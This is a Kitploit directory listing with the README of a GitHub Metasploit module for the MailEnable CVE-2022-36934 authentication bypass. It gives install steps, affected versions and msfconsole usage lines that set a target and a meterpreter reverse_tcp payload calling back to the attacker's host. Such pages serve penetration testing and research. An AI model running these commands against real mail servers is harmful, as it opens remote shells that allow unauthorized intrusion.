Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
mailenable-cve-2022-36934 — Metasploit module for MailEnable CVE-2022-36934 authentication bypass RCE | Kitploit
Tools/GitHubGitHub/tdawg506/mailenable-cve-2022-36934
Exploit FrameworksVulnerability AnalysisWeb Application ExploitationPenetration TestingRemote Access ToolPayload Development
GitHubtdawg506/mailenable-cve-2022-36934

mailenable-cve-2022-36934

Metasploit module for MailEnable CVE-2022-36934 authentication bypass RCE

View Repository
51 year agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

MailEnable CVE-2022-36934 Exploit Module

Metasploit License

Metasploit module for MailEnable's authentication bypass vulnerability (CVE-2022-36934), leading to remote code execution.

📌 Features

  • Exploits MailEnable's improper input sanitization in SMTP/POP3
  • Supports both x86 and x64 Windows targets
  • No user interaction required (auto-triggers via crafted email)
  • Works against MailEnable versions < 10.40

🚀 Installation

  1. Copy to Metasploit modules directory:
    root@kitploit:~
    cp modules/exploits/windows/smtp/mailenable_authbypass_rce.rb /usr/share/metasploit-framework/modules/exploits/windows/smtp/
  2. Reload modules in msfconsole:

reload_all

  1. Usage:

use exploit/windows/smtp/mailenable_authbypass_rce set RHOSTS <target_ip> set LHOST <your_ip> set PAYLOAD windows/x64/meterpreter/reverse_tcp exploit

🎯 Tested Against:

MailEnable Professional 10.25 Windows Server 2019 MailEnable Enterprise 10.30 Windows Server 2016

📝 Technical Details:

Vulnerability: Authentication bypass via SQLi-like syntax in SMTP/POP3

Attack Vector: Network (ports 25/110)

Privileges: Runs as MailEnable service account (often SYSTEM)

⚠️ Legal Disclaimer:

This tool is for authorized testing only. Never use against systems you don't own or have explicit permission to test.

Download Tool